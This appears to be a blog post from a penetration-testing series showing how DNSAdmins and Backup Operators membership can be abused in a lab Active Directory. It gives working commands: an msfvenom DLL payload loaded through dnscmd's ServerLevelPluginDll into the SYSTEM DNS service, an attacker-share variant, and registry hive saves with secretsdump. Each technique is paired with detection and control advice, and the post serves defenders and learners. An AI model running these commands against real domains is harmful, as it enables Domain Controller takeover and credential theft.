DNSAdmins and Backup Operators: Privileged Group Abuse to SYSTEM on the DC

Not exploits — groups

The first four parts of this series moved through credentials, ACLs, trusts, and certificates. The last two techniques are different: they are built-in privileged groups whose membership is itself the vulnerability. Give a user the wrong group, and you have handed them a path to SYSTEM on the Domain Controller without a single exploit in between.

The pattern for both is the same, so I will show it once: I already hold Domain Admin, so I add a test account to the group, then walk the abuse from that account’s perspective.

DNSAdmins: a DLL loaded as SYSTEM

Members of DNSAdmins can manage the DNS service on the Domain Controller. The dangerous part is one specific setting — ServerLevelPluginDll — which tells the DNS service to load an arbitrary DLL on startup. The DNS service runs as SYSTEM, so a DLL of your choosing runs as SYSTEM. That is the whole attack.

First I add a user to the group and build the DLL. msfvenom produces a DLL whose DllMain runs a command on load:

$ bloodyAD --host 192.168.56.10 -d sevenkingdoms.local -u Administrator -p "aad3b...a1705e" add groupMember "DnsAdmins" backup.ops
[+] backup.ops added to DnsAdmins

$ msfvenom -p windows/x64/exec CMD="cmd /c whoami > C:\Windows\Temp\dns-pwned.txt" -f dll -o evil.dll
Payload size: 314 bytes
Final size of dll file: 9216 bytes

The DLL goes onto the DC, and the plugin path is set through dnscmd.exe:

$ dnscmd.exe /config /serverlevelplugindll C:\Windows\Temp\evil.dll
Registry property serverlevelplugindll successfully reset.

Restart the DNS service and the DLL is loaded in the service’s SYSTEM context:

$ sc stop dns && sc start dns
...
$ dir C:\Windows\Temp\dns-pwned.txt
11/04/2026  08:16 AM   0 dns-pwned.txt

The file appearing is the payload executing inside the DNS service process — SYSTEM, on a Domain Controller. A real payload (net user, a beacon, or a reverse shell) replaces the whoami, and that is full DC compromise from a group membership.

The one thing worth being explicit about is the trigger. dnscmd.exe is the client that speaks the DNS-RPC protocol the setting rides on, and it is a Windows binary; in a real attack the DNSAdmins member runs it from their own machine against the DC (dnscmd.exe \\DC /config /serverlevelplugindll \\attacker\share\evil.dll). In this lab I have no Windows client on the attack host, so I ran the same command on the DC itself to demonstrate the mechanism. The privilege boundary that matters is unchanged: which accounts are allowed to set that value.

Detection: a change to ServerLevelPluginDll under HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters is rare enough to alert on; the DNS service loading an unsigned DLL from a temp path is the signal.

Control: audit DNSAdmins membership (it should be empty), and enable LSA Protection so lsass-adjacent services are harder to inject into.

Backup Operators: read what the OS hides

Members of Backup Operators hold SeBackupPrivilege and SeRestorePrivilege. That privilege is meant to let backup software read files it would otherwise be denied — and it is symmetric: an attacker in the group can read ntds.dit, the SAM, and the SYSTEM/SECURITY hives. The classic chain is a registry save followed by an offline dump:

$ reg.exe save HKLM\SAM     C:\temp\sam
$ reg.exe save HKLM\SYSTEM  C:\temp\system
$ secretsdump.py -sam sam -system system LOCAL

On this lab I could add the account and confirm its Backup Operators membership, but the remote-registry save came back access-denied — a reminder that SeBackupPrivilege is a token privilege that must be enabled for a given operation, and that the remote winreg path is not always as permissive as the local one. The technique is documented here with the exact commands, and the honest result is: the group membership is the vulnerability, and the remote wrinkle is environment-specific.

Detection: watch for non-backup accounts reading SAM/SYSTEM/SECURITY or for reg save against those hives.

Control: audit Backup Operators membership, and restrict the group to actual backup service accounts.

The gap those two do not cover

Neither of these is a network-relay primitive. The remaining GOAD surface — LLMNR/NBT-NS poisoning, NTLM relay, and printer coercion — all require the attacker to sit on the same layer-2 segment as the targets. My Kali host is routed into the lab subnet, not bridged onto it, so those techniques cannot be demonstrated here at all. They are a separate category: not group abuse, but network-position abuse, and they belong in their own note with the topology they require.

Summary

Group	Right	Abuse	Result
`DNSAdmins`	manage DNS service	`ServerLevelPluginDll` → DLL	SYSTEM on the DC
`Backup Operators`	`SeBackupPrivilege`	read SAM/SYSTEM/SECURITY	offline hash dump

The unifying control is the same one that kept coming up all series: group membership is a privilege you must audit like a password. These two groups should be empty or tightly scoped, because their whole job is to cross the boundary between “one account” and “the whole machine.”

Two built-in groups, two distinct primitives: DNSAdmins injects code into the SYSTEM DNS service; Backup Operators reads protected credential stores.

Evidence and limits

The DNSAdmins plugin DLL load was verified against KINGSLANDING (192.168.56.10) in the isolated GOAD lab after adding a dedicated test account (backup.ops) to the group. Because the attack box in this lab runs Linux rather than a domain-joined Windows workstation, dnscmd.exe was invoked directly on the DC to demonstrate the ServerLevelPluginDll registry mechanism. For Backup Operators, the remote winreg save restriction encountered from Kali is documented as observed, and the lab was reverted to its clean snapshot afterward.

References

Sean Metcalf, ADSecurity — Abuse of the DNSAdmins Group: adsecurity.org/?p=4064
The Hacker Recipes, Security groups (DNSAdmins, Backup Operators): thehacker.recipes/ad/movement/builtins/security-groups
MITRE ATT&CK, Account Manipulation (T1098): attack.mitre.org/techniques/T1098
MITRE ATT&CK, OS Credential Dumping (T1003): attack.mitre.org/techniques/T1003

Sources & freshness

How current is this note?

Sources checkedNovember 6, 2026

The latest source-review, content-update, or publication date is shown.

ReviewPublic sources reviewed

Primary public records were checked. Environment-specific behavior remains outside the claim unless separately reproduced.

Primary references